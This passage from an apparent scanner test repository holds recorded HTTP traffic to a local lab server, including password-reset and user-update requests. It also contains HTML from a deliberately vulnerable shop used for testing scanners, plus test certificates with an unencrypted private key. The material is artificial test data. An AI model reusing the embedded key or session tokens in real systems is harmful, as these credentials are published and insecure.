session=ymwLa8dKmWjLl43BBpQnrp5LkFZraYkp; Secure; HttpOnly; SameSite=None\n    X-Backend: ea6c1d8c-a8e5-4bef-b8db-879bbb13cf62\n    X-Frame-Options: SAMEORIGIN\n  raw: |+\n    HTTP/1.1 200 OK\n    Connection: close\n    Content-Encoding: gzip\n    Content-Type: text/html; charset=utf-8\n    Date: Tue, 20 Feb 2024 13:54:13 GMT\n    Set-Cookie: AWSALB=9l3X2bRs5JVQp5cO8o7xLckrdo3FZIQzbS0ga0n4ctfDApb/nn0K6AiSLLAMbG7CCDHqKOj9kQdyj6T2RzBDULszJ+2Oy8KcyuOKhFsCGVTVabnJTkVwhyXLciFt; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/\n    Set-Cookie: AWSALBCORS=9l3X2bRs5JVQp5cO8o7xLckrdo3FZIQzbS0ga0n4ctfDApb/nn0K6AiSLLAMbG7CCDHqKOj9kQdyj6T2RzBDULszJ+2Oy8KcyuOKhFsCGVTVabnJTkVwhyXLciFt; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/; SameSite=None; Secure\n    Set-Cookie: session=ymwLa8dKmWjLl43BBpQnrp5LkFZraYkp; Secure; HttpOnly; SameSite=None\n    X-Backend: ea6c1d8c-a8e5-4bef-b8db-879bbb13cf62\n    X-Frame-Options: SAMEORIGIN\n\n---\ntimestamp: 2024-02-20T19:24:13+05:30\nurl: http://127.0.0.1:8082/reset-password\nrequest:\n  header:\n    Accept-Encoding: gzip\n    Connection: close\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n    host: 127.0.0.1:8082\n    method: GET\n    path: /blog/post\n    scheme: https\n  raw: |+\n    POST /reset-password HTTP/1.1\n    Host: 127.0.0.1:8082\n    X-Forwarded-For: 127.0.0.1:8082\n    Accept-Encoding: gzip\n    Connection: close\n    Content-Type: application/json\n    Content-Length: 23\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n    \n    {\"password\":\"12345678\"}\nresponse:\n  header:\n    Content-Encoding: gzip\n    Content-Type: text/html; charset=utf-8\n    Date: Tue, 20 Feb 2024 13:54:13 GMT\n    Set-Cookie: AWSALB=9l3X2bRs5JVQp5cO8o7xLckrdo3FZIQzbS0ga0n4ctfDApb/nn0K6AiSLLAMbG7CCDHqKOj9kQdyj6T2RzBDULszJ+2Oy8KcyuOKhFsCGVTVabnJTkVwhyXLciFt; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/, AWSALBCORS=9l3X2bRs5JVQp5cO8o7xLckrdo3FZIQzbS0ga0n4ctfDApb/nn0K6AiSLLAMbG7CCDHqKOj9kQdyj6T2RzBDULszJ+2Oy8KcyuOKhFsCGVTVabnJTkVwhyXLciFt; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/; SameSite=None; Secure, session=ymwLa8dKmWjLl43BBpQnrp5LkFZraYkp; Secure; HttpOnly; SameSite=None\n    X-Backend: ea6c1d8c-a8e5-4bef-b8db-879bbb13cf62\n    X-Frame-Options: SAMEORIGIN\n  raw: |+\n    HTTP/1.1 200 OK\n    Connection: close\n    Content-Encoding: gzip\n    Content-Type: text/html; charset=utf-8\n    Date: Tue, 20 Feb 2024 13:54:13 GMT\n    Set-Cookie: AWSALB=9l3X2bRs5JVQp5cO8o7xLckrdo3FZIQzbS0ga0n4ctfDApb/nn0K6AiSLLAMbG7CCDHqKOj9kQdyj6T2RzBDULszJ+2Oy8KcyuOKhFsCGVTVabnJTkVwhyXLciFt; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/\n    Set-Cookie: AWSALBCORS=9l3X2bRs5JVQp5cO8o7xLckrdo3FZIQzbS0ga0n4ctfDApb/nn0K6AiSLLAMbG7CCDHqKOj9kQdyj6T2RzBDULszJ+2Oy8KcyuOKhFsCGVTVabnJTkVwhyXLciFt; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/; SameSite=None; Secure\n    Set-Cookie: session=ymwLa8dKmWjLl43BBpQnrp5LkFZraYkp; Secure; HttpOnly; SameSite=None\n    X-Backend: ea6c1d8c-a8e5-4bef-b8db-879bbb13cf62\n    X-Frame-Options: SAMEORIGIN\n\n---\ntimestamp: 2024-02-20T19:24:13+06:30\nurl: http://127.0.0.1:8082/user/55/profile\nrequest:\n  header:\n    Accept-Encoding: gzip\n    Connection: close\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n    host: 127.0.0.1:8082\n    method: GET\n    path: /blog/post\n    scheme: https\n  raw: |+\n    GET /user/55/profile HTTP/1.1\n    Host: 127.0.0.1:8082\n    Accept-Encoding: gzip\n    Connection: close\n    Content-Type: application/json\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n    \nresponse:\n  header:\n    Content-Type: application/json; charset=UTF-8\n    Date: Tue, 27 Feb 2024 18:46:44 GMT\n  raw: |+\n    HTTP/1.1 200 OK\n    Content-Type: application/json; charset=UTF-8\n    Date: Tue, 27 Feb 2024 18:46:44 GMT\n    Content-Length: 47\n\n    {\"ID\":75,\"Name\":\"user\",\"Age\":30,\"Role\":\"user\"}\n\n---\ntimestamp: 2024-02-20T23:25:13+06:30\nurl: http://127.0.0.1:8082/user\nrequest:\n  header:\n    Accept-Encoding: gzip\n    Connection: close\n    Content-Type: application/json\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n    host: 127.0.0.1:8082\n    method: POST\n    path: /user\n    scheme: http\n  raw: |+\n    POST /user HTTP/1.1\n    Host: localhost:8082\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n    Accept: */*\n    Content-Length: 32\n    Connection: close\n    Content-Type: application/json\n\n    {\"id\": 7 , \"name\": \"pdteam\"}\n\nresponse:\n  header:\n    Content-Type: text/plain; charset=UTF-8\n    Date: Tue, 27 Feb 2024 18:46:44 GMT\n  raw: |+\n    HTTP/1.1 200 OK\n    Content-Type: text/plain; charset=UTF-8\n    Date: Wed, 28 Feb 2024 13:58:52 GMT\n    Content-Length: 25\n\n    User updated successfully\n\n---\ntimestamp: 2024-02-20T23:26:13+06:30\nurl: http://127.0.0.1:8082/user\nrequest:\n  header:\n    Accept-Encoding: gzip\n    Connection: close\n    Content-Type: application/x-www-form-urlencoded\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n    host: 127.0.0.1:8082\n    method: POST\n    path: /user\n    scheme: http\n  raw: |+\n    POST /user HTTP/1.1\n    Host: localhost:8082\n    User-Agent: curl/8.1.2\n    Accept: */*\n    Content-Length: 20\n    Connection: close\n    Content-Type: application/x-www-form-urlencoded\n\n    id=7&name=pdteam\n\nresponse:\n  header:\n    Content-Type: text/plain; charset=UTF-8\n    Date: Tue, 27 Feb 2024 18:46:44 GMT\n  raw: |+\n    HTTP/1.1 200 OK\n    Content-Type: text/plain; charset=UTF-8\n    Date: Wed, 28 Feb 2024 13:58:52 GMT\n    Content-Length: 25\n\n    User updated successfully\n\n---\ntimestamp: 2024-02-20T23:26:13+06:30\nurl: http://127.0.0.1:8082/user\nrequest:\n  header:\n    Accept-Encoding: gzip\n    Connection: close\n    Content-Type: multipart/form-data\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n    host: 127.0.0.1:8082\n    method: POST\n    path: /user\n    scheme: http\n  raw: |+\n    POST /user HTTP/1.1\n    Host: localhost:8082\n    User-Agent: curl/8.1.2\n    Accept: */*\n    Content-Length: 226\n    Connection: close\n    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n\n    ------WebKitFormBoundary7MA4YWxkTrZu0gW\n    Content-Disposition: form-data; name=\"id\"\n\n    7\n    ------WebKitFormBoundary7MA4YWxkTrZu0gW\n    Content-Disposition: form-data; name=\"name\"\n\n    pdteam\n    ------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\nresponse:\n  header:\n    Content-Type: text/plain; charset=UTF-8\n    Date: Tue, 27 Feb 2024 18:46:44 GMT\n  raw: |+\n    HTTP/1.1 200 OK\n    Content-Type: text/plain; charset=UTF-8\n    Date: Wed, 28 Feb 2024 13:58:52 GMT\n    Content-Length: 25\n\n    User updated successfully\n\n---\n---\ntimestamp: 2024-02-20T19:25:13+06:30\nurl: http://127.0.0.1:8082/blog/posts\nrequest:\n  header:\n    Accept-Encoding: gzip\n    Connection: close\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n    host: 127.0.0.1:8082\n    Cookie: session=ymwLa8dKmWjLl43BBpQnrp5LkFZraYkp; lang=en\n    method: GET\n    path: /blog/posts\n    scheme: http\n  raw: |+\n    GET /blog/posts HTTP/1.1\n    Host: 127.0.0.1:8082\n    Accept-Encoding: gzip\n    Cookie: session=ymwLa8dKmWjLl43BBpQnrp5LkFZraYkp; lang=en\n    Connection: close\n    Content-Type: application/json\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n    \nresponse:\n  header:\n    Content-Type: application/json; charset=UTF-8\n    Date: Tue, 27 Feb 2024 18:46:44 GMT\n  raw: |+\n    HTTP/1.1 200 OK\n    Content-Type: application/json; charset=UTF-8\n    Date: Wed, 28 Feb 2024 13:58:52 GMT\n    Content-Length: 218\n    \n    [{\"ID\":1,\"Title\":\"The Joy of Programming\",\"Content\":\"Programming is like painting a canvas with logic.\",\"Lang\":\"en\"},{\"ID\":2,\"Title\":\"A Journey Through Code\",\"Content\":\"Every line of code tells a story.\",\"Lang\":\"en\"}]\n\n---\ntimestamp: 2024-02-20T23:26:13+06:30\nurl: http://127.0.0.1:8082/user\nrequest:\n  header:\n    Accept-Encoding: gzip\n    Connection: close\n    Content-Type: application/xml\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n    host: 127.0.0.1:8082\n    method: POST\n    path: /user\n    scheme: http\n  raw: |+\n    POST /user HTTP/1.1\n    Host: localhost:8082\n    User-Agent: curl/8.1.2\n    Accept: */*\n    Content-Length: 76\n    Connection: close\n    Content-Type: application/xml\n\n    <?xml version=\"1.0\"?>\n    <user>\n    <id>7</id>\n    <name>pdteam</name>\n    </user>\n\nresponse:\n  header:\n    Content-Type: text/plain; charset=UTF-8\n    Date: Tue, 27 Feb 2024 18:46:44 GMT\n  raw: |+\n    HTTP/1.1 200 OK\n    Content-Type: text/plain; charset=UTF-8\n    Date: Wed, 28 Feb 2024 13:58:52 GMT\n    Content-Length: 25\n\n    User updated successfully\n\n---\ntimestamp: 2024-02-20T19:24:13+05:32\nurl: http://127.0.0.1:8082/host-header-lab\nrequest:\n  header:\n    Accept-Encoding: gzip\n    Authorization: Bearer 3x4mpl3t0k3n\n    Connection: close\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n    host: 127.0.0.1:8082\n    method: POST\n    path: /catalog/product\n    scheme: https\n  raw: |+\n    GET /host-header-lab HTTP/1.1\n    Host: 127.0.0.1:8082\n    Authorization: Bearer 3x4mpl3t0k3n\n    Accept-Encoding: gzip\n    Connection: close\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n\nresponse:\n  header:\n    Content-Encoding: gzip\n    Content-Type: text/html; charset=utf-8\n    Date: Tue, 20 Feb 2024 13:54:13 GMT\n    Set-Cookie: AWSALB=Rzm8ZSSL/yQq1mG1SdGmWAahqexWvOcjIhlNKm0wBnk4jvY3Hdy3mRc+NKoMRNJ2RW+FNbtRk7DX+itnfzjMvKNpwtLWWAafxeKybc+v351g0MsLycRNQF5fG78y; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/, AWSALBCORS=Rzm8ZSSL/yQq1mG1SdGmWAahqexWvOcjIhlNKm0wBnk4jvY3Hdy3mRc+NKoMRNJ2RW+FNbtRk7DX+itnfzjMvKNpwtLWWAafxeKybc+v351g0MsLycRNQF5fG78y; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/; SameSite=None; Secure, session=fFcCUjmQguQy820Y8xrnRypp3KBWSPk6; Secure; HttpOnly; SameSite=None\n    X-Backend: 2235790d-f089-4324-8ac0-f64cc96f2460\n    X-Frame-Options: SAMEORIGIN\n  body: |\n    <!DOCTYPE html>\n    <html>\n        <head>\n            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>\n            <link href=/resources/css/labsScanme.css rel=stylesheet>\n            <meta name=\"viewport\" content=\"width=device-width, user-scalable=no\">\n            <script src=\"/resources/js/react.development.js\"></script>\n            <script src=\"/resources/js/react-dom.development.js\"></script>\n            <script type=\"text/javascript\" src=\"/resources/js/angular_1-7-7.js\"></script>\n            <title>Fruit Overlays - Product - Gin &amp; Juice Shop</title>\n        </head>\n        <body ng-app>\n            <div id=\"scanMeHeader\">\n                <section class=\"header-description\">\n                    <p>\n                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.\n                        <span class=\"link\" onmouseenter=\"window.__x1 = 1\" onmouseover=\"window.__x2 = 1\" onmousemove=\"window.__x3 = 1\"  onmousedown=\"window.__x4 = 1\" onmouseup=\"if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')\" onmouseleave=\"delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4\">Put your scanner to the test!</span>\n                    </p>\n                </section>\n                <section class='scanMeBanner'>\n                    <div class=container>\n                        <a href='/'>\n                            <div class=scanme-logo></div>\n                        </a>\n                        <div class=title-container>\n                            <nav>\n                                <ul class=\"navigation-header-links primary-links\">\n                                    <li>\n                                        <a class=\"button selected\" href=\"/catalog\">Products</a>\n                                    </li>\n                                    <li>\n                                        <a class=\"button\" href=\"/blog\">Blog</a>\n                                    </li>\n                                    <li>\n                                        <a class=\"button\" href=\"/about\">Our story</a>\n                                    </li>\n                                </ul>\n                                <ul class=\"navigation-header-links secondary-links\">\n                                    <li>\n                                        <a class=\"account-icon\" href=\"/my-account\"><svg><use href=\"/resources/images/icon-account.svg#account-icon\"></use></svg></a>\n                                        <ul>\n                                            <li>\n                                                <a class=\"button\" href=\"/my-account\">Log in</a>\n                                            </li>\n                                            <li>\n                                                <a class=\"button\" href=\"/my-account\">My account</a>\n                                            </li>\n                                        </ul>\n                                    </li>\n                                    <li>\n                                        <a class=\"cart-icon\" href=\"/catalog/cart\"><span>0</span><svg><use href=\"/resources/images/icon-cart.svg#cart-icon\"></use></svg></a>\n                                    </li>\n                                    <li class=\"nav-toggle\"><a class=\"nav-trigger\"><span></span><span></span><span></span></a></li>\n                                </ul>\n                            </nav>\n                        </div>\n                    </div>\n                </section>\n            </div>\n            <div theme=\"ecommerce-product\">\n                <section class=\"maincontainer\">\n                    <div class=\"container is-page\">\n                        <header class=\"notification-header\">\n                        </header>\n                        <ul class=\"breadcrumbs\">\n                            <li><a href=\"/\">Home</a></li>\n                            <li><a href=\"/catalog\">Products</a></li>\n                            <li>Fruit Overlays</li>\n                        </ul>\n                        <section class=\"product\">\n                            <div>\n                                <img class=\"product-image\" src=\"/image/scanme/productcatalog/products/10.png\">\n                            </div>\n                            <div>\n                                <h3>Fruit Overlays</h3>\n                                <img class=\"product-image\" src=\"/image/scanme/productcatalog/products/10.png\">\n                                <span class=\"price-rating\">\n                                    <span class=\"price\">\n                                        $92.79\n                                    </span>\n                                    <img src=\"/resources/images/rating3.png\">\n                                </span>\n                                <span class=\"description\">\n                                    <label>Description:</label>\n                                    <p>When it comes to hospitality presentation is key, and nothing looks better than a well-dressed drink. We know gin fans like plenty of fruit in their glasses, some a bit more than they really need, but hey ho, each to their own. But what about fruit not inside your glass, but classily arranged over your glass? In comes Fruitus overlayus, the best way to jazz up any party. The possible colour combinations are endless, just picture that! All you need is a nice selection of small fruits, or maybe even use our Fruit Curliwurlier to add a dash of even more drama, and we will do the rest. This one is a real winner at our Christmas and New year’s outings, give it a go and turn some heads.</p>\n    <p>CONTENTS: 12 cocktail sticks.</p>\n    <p>HOW TO USE: Let your creative juices flow (Pun intended), and spend some time working on your colour coordination, try not to think too much about it, just do it! Pick up one of the Fruitus overlayus sticks and carefully slide the fruit along until there is a small space on either end of the stick. Balance the stick across the rim of the glass. Ta-Da! Your first fruit overlay. Keep going until you have as many overlays as you need. You can always purchase more at any time with a discount on bulk buys.</p>\n                                </span>\n                                <span class=\"stock-check\">\n                                    <form id=\"stockCheckForm\" action=\"/catalog/product/stock\" method=\"POST\">\n                                        <input required type=\"hidden\" name=\"productId\" value=\"3\">\n                                        <select name=\"storeId\">\n                                            <option value=\"1\" >London</option>\n                                            <option value=\"2\" >Paris</option>\n                                            <option value=\"3\" >Milan</option>\n                                        </select>\n                                        <button type=\"submit\" class=\"button\">Check stock</button>\n                                    </form>\n                                    <span id=\"stockCheckResult\"></span>\n                                    <script src=\"/resources/js/xmlStockCheckPayload.js\"></script>\n                                    <script src=\"/resources/js/stockCheck.js\"></script>\n                                </span>\n                                <span class=\"cart-button\">\n                                    <form id=addToCartForm action=/catalog/cart method=POST>\n                                        <input required type=hidden name=productId value=3>\n                                        <input required type=hidden name=redir value=PRODUCT>\n                                        <select class='product-quantity' required name=quantity>\n                                            <option value=\"1\" selected>1</option>\n                                            <option value=\"2\">2</option>\n                                            <option value=\"3\">3</option>\n                                            <option value=\"4\">4</option>\n                                            <option value=\"5\">5</option>\n                                            <option value=\"6\">6</option>\n                                            <option value=\"7\">7</option>\n                                            <option value=\"8\">8</option>\n                                            <option value=\"9\">9</option>\n                                            <option value=\"10\">10</option>\n                                            <option value=\"11\">11</option>\n                                            <option value=\"12\">12</option>\n                                            <option value=\"13\">13</option>\n                                            <option value=\"14\">14</option>\n                                            <option value=\"15\">15</option>\n                                        </select>\n                                        <button type=submit class=button>Add to cart</button>\n                                    </form>\n                                </span>\n                                <span class=\"view-cart-button\">\n                                    <a class=\"button\" href=\"/catalog/cart\">View cart</a>\n                                </span>\n                            </div>\n                        </section>\n                    </div>\n                </section>\n                <div class=\"footer-wrapper\">\n                    <section class=\"footer\">\n                        <div class=\"footer-left\"></div>\n                        <div class=\"footer-center\">\n                            <h2>Never miss a deal - subscribe now</h2>\n                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>\n                            <script src='/resources/js/subscribeNow.js'></script>\n                            <div id=\"subscribe\" class=\"form\" data-method=\"post\" data-action=\"/catalog/subscribe\">\n                                <input required type=email name=email placeholder=\"Email address\">\n                                <input required type=\"hidden\" name=\"csrf\" value=\"ALUrIPu21ygHSGadxsA8u70XnVcY4V4k\">\n                                <button class=\"button\" type=submit>Subscribe</button>\n                            </div>\n                            <dialog id=\"coupon-dialog\">\n                                <div class=\"coupon-wrapper\">\n                                    <button class=\"close-button\" onclick=\"closeCouponDialog(event)\"></button>\n                                    <div class=\"coupon-info\">\n                                        <h1>20% off everything</h1>\n                                        <div class=\"coupon-input\">\n                                            <h3 id=\"copyable-coupon\">Coupon not found</h3>\n                                            <button id=\"copy-coupon-button\" class=\"copy-button\" onclick=\"copyCoupon(event)\"></button>\n                                            <div id=\"coupon-copied-tick\" class=\"coupon-copied-tick hidden\"></div>\n                                        </div>\n                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>\n                                    </div>\n                                </div>\n                            </dialog>\n                            <div class=\"footer-copyright\">\n                                <div class=\"portswigger-logo\"></div>\n                                <div>© 2023 PortSwigger Ltd.</div>\n                            </div>\n                        </div>\n                        <div class=\"footer-right\"></div>\n                    </section>\n                    <section class=\"footer-lower\">\n                        <div class=\"footerNavigation\">\n                            <div class=\"socialLinks\">\n                            </div>\n                            <nav>\n                                <ul class=\"navigation-header-links primary-links\">\n                                    <li>\n                                        <a class=\"button selected\" href=\"/catalog\">Products</a>\n                                    </li>\n                                    <li>\n                                        <a class=\"button\" href=\"/blog\">Blog</a>\n                                    </li>\n                                    <li>\n                                        <a class=\"button\" href=\"/about\">Our story</a>\n                                    </li>\n                                </ul>\n                            </nav>\n                        </div>\n                    </section>\n                </div>\n            </div>\n            <script src='/resources/footer/js/scanme.js'></script>\n        </body>\n    </html>\n  raw: |+\n    HTTP/1.1 200 OK\n    Connection: close\n    Content-Encoding: gzip\n    Content-Type: text/html; charset=utf-8\n    Date: Tue, 20 Feb 2024 13:54:13 GMT\n    Set-Cookie: AWSALB=Rzm8ZSSL/yQq1mG1SdGmWAahqexWvOcjIhlNKm0wBnk4jvY3Hdy3mRc+NKoMRNJ2RW+FNbtRk7DX+itnfzjMvKNpwtLWWAafxeKybc+v351g0MsLycRNQF5fG78y; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/\n    Set-Cookie: AWSALBCORS=Rzm8ZSSL/yQq1mG1SdGmWAahqexWvOcjIhlNKm0wBnk4jvY3Hdy3mRc+NKoMRNJ2RW+FNbtRk7DX+itnfzjMvKNpwtLWWAafxeKybc+v351g0MsLycRNQF5fG78y; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/; SameSite=None; Secure\n    Set-Cookie: session=fFcCUjmQguQy820Y8xrnRypp3KBWSPk6; Secure; HttpOnly; SameSite=None\n    X-Backend: 2235790d-f089-4324-8ac0-f64cc96f2460\n    X-Frame-Options: SAMEORIGIN"
  },
  {
    "path": "integration_tests/generic/auth/certificate/assets/client.crt",
    "content": "-----BEGIN CERTIFICATE-----\nMIIDEzCCAfsCFBDZsFEIb3QwKLzXLoqR/oaDwakYMA0GCSqGSIb3DQEBCwUAMEUx\nCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRl\ncm5ldCBXaWRnaXRzIFB0eSBMdGQwIBcNMjMwNzI4MTAwODIyWhgPMzAwMzA5Mjkx\nMDA4MjJaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYD\nVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEBAQUA\nA4IBDwAwggEKAoIBAQCp8/P9JAyE90ZrE1LZcJ/B24f79aazY8S/eeRRZsTvUP73\nNrOznv1zhvJ9TKHUNcOouZ/NPQanNOiqkoigQwP7L2FA2bPOPAPIWBPWGdjSkeyZ\n8MYbA7Or+16k2ZYvKsCarG/PgGeL0UFLe6INvZRMnk1s+iF0upcHv5BhjIfBwzh4\no2pLY1d9bbnEsuSNagOzIkQS3mI22d1YbJKxXP0m+tBk1gTqhUhwEAXNaIBCRscs\nxyv9pW7ZSjPabf/L0Md2yMcVs0+oK6rkQbAWrTTjN1lJ603BHh+keIDMwQnbMB0U\nAStJdyQpwa7hZ+5767+GxR7n85Twe1rSexmTl9/fAgMBAAEwDQYJKoZIhvcNAQEL\nBQADggEBAIOQE2DWqwse0srtG+7IS0EO3iP27lRKxd387wY1xq00o3depKReVpYm\nR8sZM1meumniH1QKoVFJpBHYoPzQMi8vMmI9AV3KWNFcCyf+jwc69Qab2erDNVsw\n5mCCGXkrzLbCzmbPFZoyvMmBlsQSmOjwyGGIeXwfqKv/TPwOzKfSM/KkQmgRyUro\nGDT+TI5VhgvQyNLmkWNRhnI30DnlsQ1Bc0MEQ1hismOYxD4mCqufCOS3BmakDRNK\nQBz0xl0i5Dbf+e4o3rEaCGW/rzKkL1mm1TXqpDEy3UAwj+jIOZu5yByw5djfgSIX\nOEVuqklUASYAPeVdSyf/VAflLV9nGKI=\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "integration_tests/generic/auth/certificate/assets/client.key",
    "content": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCp8/P9JAyE90Zr\nE1LZcJ/B24f79aazY8S/eeRRZsTvUP73NrOznv1zhvJ9TKHUNcOouZ/NPQanNOiq\nkoigQwP7L2FA2bPOPAPIWBPWGdjSkeyZ8MYbA7Or+16k2ZYvKsCarG/PgGeL0UFL\ne6INvZRMnk1s+iF0upcHv5BhjIfBwzh4o2pLY1d9bbnEsuSNagOzIkQS3mI22d1Y\nbJKxXP0m+tBk1gTqhUhwEAXNaIBCRscsxyv9pW7ZSjPabf/L0Md2yMcVs0+oK6rk\nQbAWrTTjN1lJ603BHh+keIDMwQnbMB0UAStJdyQpwa7hZ+5767+GxR7n85Twe1rS\nexmTl9/fAgMBAAECggEAPZzaVGhQPZgjqEfeHkQtNqtuthJNd/Vwa3Y2JqiaNqRn\nepoTNcgq3EoM+Q3iETvYjf+VhmNcWRveSZBMBcWl2NdJa6hA/kBVorkDn/fI2jXa\nz8gxGbQS3AOKQTs8ribSooBnHJPRdifLgyD0FAUpkUlGin53yIionj99iU/YG48g\n4dwkBIFHRcxertQyhu3YQ+XleJ35n7mNFwGzC7curRBPUHMImPASzVYQhVdN8OBt\nTZEoJw+2lmH4fIJYult27hcl2/pLs1FPvQFSLTIoqzaEzRhKdANkclmnhJjCBXzB\n7RLUpKOv1Q28u+P5KH1nFBV/UuuxXrjFt4jhRdji2QKBgQDvv+W0GJWX5POfyRHT\npAROclgVPEgS5vXQIelMdR76a72L/4Vm2/xeolWW1h5qmJF479V/+P+ppxb1IrUy\n6+yGtkMiQE4CizhFGWivfXUTPZbdeeSpHMUl9tRZdBZWi3aXzJ/8DfCzD+ZVS4Vx\n+y62V4ymQyAqBWv2ast/ElEbowKBgQC1ePQgR+MNfz7/BaatCcLPwFG/kkqPVuzH\n//6HB+gAYTyuZsbLrYhCQsbsTjvQz0ExmTnNSeCjHTntQ+pZ8Tnuet9bHxKTRbvG\n9Ol/J402EnY2tO/b8jKXHNNyLNImvWpJ4PpaLRKQVxLPei+JcEHyz4MVMrhIjX1b\nEhhDCZ6ulQKBgEUy+jX1MphY+QiRnJedq7CIyGu4roTmLOUaJKBw3bQiDN+vrO13\naWxXJqUWwEi8KKDjeJgrYn+xPqsajXpZJjfru4zTSrDpRiCLqO+eIoCfMkBSwnEd\nYLoIeFopa5knP9+orDSwQV0tpanQ1n+DpIP02R/UGCCI2BST1pCi1M5JAoGAC/+E\nPIIkO+c21gucmoIztCKmBQF6FoILw6lkPa9DIotLRMicyiieAquBlWwSvlqFl+7m\niHEi/gXXp50+6FVvnBnZnJ+wTbZllODqczK9Pl74G+PYm/UmbSFFxZ27Az6wwVOz\nmbSzLoHjR35vmCmo4pHfu84PqxRXvmay3fPL3wUCgYEA0yZcvQqiTs+f4S/mZbhp\nfyPgurmowXUNgdijyeFoH+DMkwdWUJeBrinelQaXADUSXkKiA8gaoNGOIkDIBcve\ngdUhrY204MeoTYxnIb1dw6/KReya4YdRSMlYiX2hYEURIxdaJV5HcwW5ySMOzP87\nt2+YVr4faAv4AS8k21pBGrc=\n-----END PRIVATE KEY-----\n"
  },
  {
    "path": "integration_tests/generic/auth/certificate/assets/server.crt",
    "content": "-----BEGIN CERTIFICATE-----\nMIIDEzCCAfsCFC21Zw7U0tGDyLyMalwfo9cWbL6dMA0GCSqGSIb3DQEBCwUAMEUx\nCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRl\ncm5ldCBXaWRnaXRzIFB0eSBMdGQwIBcNMjMwNzI4MTAwNzI3WhgPMzAwMzA5Mjkx\nMDA3MjdaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYD\nVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEBAQUA\nA4IBDwAwggEKAoIBAQCjMlvOKQX9yn9SOYPJ8p+jeDUU/JWPwT4LRfqaxvvKSnS7\nNZzd7lS4AR0YTjyjiRj3+t0QnEDHVKBD8cMh9kMXkQ2S0r7psCURLvvZOYt4v6KM\nCyZpBbp8b/pG3aJQHDZjRDOApQrXhx62XJDIs64YKA8NybYOLqNisrWGrfqF4uEz\nRMgVGlthuQcXo3n2HzobuYN7RsHBzCWGLn9fRMDC2j3IAnQLf4YOznOJ57CjMd2W\nmn/yhHK8h9s4iU5zw3+PK+X/IM4GeAfeJMx8c5uq2A8A24uzMidyhxJCK7VUprjK\n/ckdNYya6dkG2De+LR7W82ygfWbFDOnZKM26cPG/AgMBAAEwDQYJKoZIhvcNAQEL\nBQADggEBAH5+Wdb/1jgBhihN6Pb6SWJmDvwkOEP3t00E3fBao4TDqdDOhPsLYrAm\n8gt16OcGrrXDQA3bi79mAVqAqCvaf4hk0vSI0L4rNcCSP4D3fUBjRO3fY3fM4Qw8\nxg9AusF5hRrvzFbEak7lPJ01kLOJEgBA1l457HrLnXcpDTml8Y46WqdWa